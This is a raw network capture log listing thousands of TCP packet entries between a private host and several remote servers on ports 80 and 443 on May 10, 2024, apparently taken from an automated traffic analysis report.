May 10, 2024 09:20:57.883507013 CEST	49781	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.883518934 CEST	443	49781	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.890160084 CEST	443	49767	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.890212059 CEST	443	49767	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.890727997 CEST	49767	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.895286083 CEST	443	49768	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.895342112 CEST	443	49768	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.895607948 CEST	49768	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.897020102 CEST	49767	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.897028923 CEST	443	49767	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.897964001 CEST	49768	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.897975922 CEST	443	49768	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.901249886 CEST	49782	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.901267052 CEST	443	49782	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.901319981 CEST	49782	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.901745081 CEST	49783	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.901781082 CEST	443	49783	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.901838064 CEST	49783	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.901999950 CEST	49782	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.902012110 CEST	443	49782	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.902283907 CEST	49783	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.902293921 CEST	443	49783	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.916112900 CEST	443	49779	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.922700882 CEST	49779	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.953912973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.953928947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.953949928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.953962088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.953974962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.953978062 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.953988075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954000950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954013109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954025984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954037905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954039097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.954039097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.954062939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.954078913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.954298973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954312086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954324007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954334974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954345942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954350948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.954365015 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.954616070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954642057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954652071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.954653025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954665899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954678059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954689980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954699039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.954708099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.954716921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.954757929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.955670118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.955682993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.955728054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.956177950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.956191063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.956202030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.956218004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.956227064 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.956229925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.956243038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.956249952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.956257105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.956275940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.958801031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.958827019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.958839893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.958847046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.958852053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.958865881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.958873034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.958880901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.958894968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.958899021 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.958930016 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960205078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960217953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960228920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960254908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960257053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960268974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960280895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960294962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960300922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960309029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960320950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960329056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960331917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960344076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960345984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960359097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960366964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960371017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960383892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960396051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960396051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960411072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960422039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960429907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960436106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960449934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960453987 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960463047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960469961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960475922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960489035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960496902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960500956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960513115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960522890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960525990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960539103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960551977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960566998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960571051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960578918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960591078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960592985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960606098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960607052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960618973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960621119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960632086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960644007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960654974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960675955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960689068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960697889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960701942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960715055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960721970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960728884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960741043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960752010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960763931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960776091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960784912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960788965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960802078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960819006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960825920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960833073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960846901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960859060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960877895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.960886002 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.960915089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961494923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961508036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961519957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961532116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961544037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961544991 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961555958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961563110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961569071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961581945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961582899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961595058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961607933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961611986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961621046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961630106 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961633921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961646080 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961647034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961659908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961672068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961683989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961685896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961695910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961709023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961709976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961721897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961733103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961734056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961745977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961760044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961771965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961780071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961786985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961798906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961805105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961812019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961815119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961824894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961837053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961838007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961857080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961860895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961879969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961891890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961899996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961905003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961919069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961925983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961932898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961944103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961955070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961966991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961971998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.961980104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.961987972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.962006092 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.962006092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.962019920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.962032080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.962040901 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.962044001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.962055922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.962068081 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.962068081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.962083101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.962095022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.962096930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.962121964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.962131023 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.962136030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.962150097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.962152958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.962162971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.962176085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.962187052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.962189913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.962207079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.962214947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.962285042 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.963040113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963108063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963119984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963133097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963145018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.963181973 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.963289976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963301897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963314056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963325977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963332891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.963339090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963351965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963363886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963371992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.963376999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963390112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963392019 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.963402987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963412046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.963432074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963443995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963443995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.963553905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.963727951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963754892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963767052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963779926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963788986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.963799000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963812113 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.963815928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963829994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963841915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.963850021 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.963874102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.965385914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965399981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965410948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965436935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.965596914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965610027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965636969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965637922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.965651035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965662956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965673923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.965681076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965693951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965707064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965708017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.965719938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965738058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965739965 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.965751886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965766907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965770006 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.965780020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965786934 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.965794086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965806961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965816975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.965847969 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.965975046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965986967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.965998888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966011047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966021061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.966023922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966042995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966046095 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.966056108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966069937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966078997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.966083050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966095924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966108084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966113091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.966120958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966130018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.966135025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966147900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966155052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.966161013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966173887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966191053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.966221094 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.966242075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966448069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966459990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966470957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966481924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966485977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.966495037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966506958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966512918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.966521025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966531992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.966535091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966547966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966558933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966559887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.966572046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966579914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.966586113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966598034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.966598034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966610909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966623068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.966629982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.966665030 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.967047930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.967060089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.967072010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.967083931 CEST	80	49754	34.68.151.162	192.168.2.4
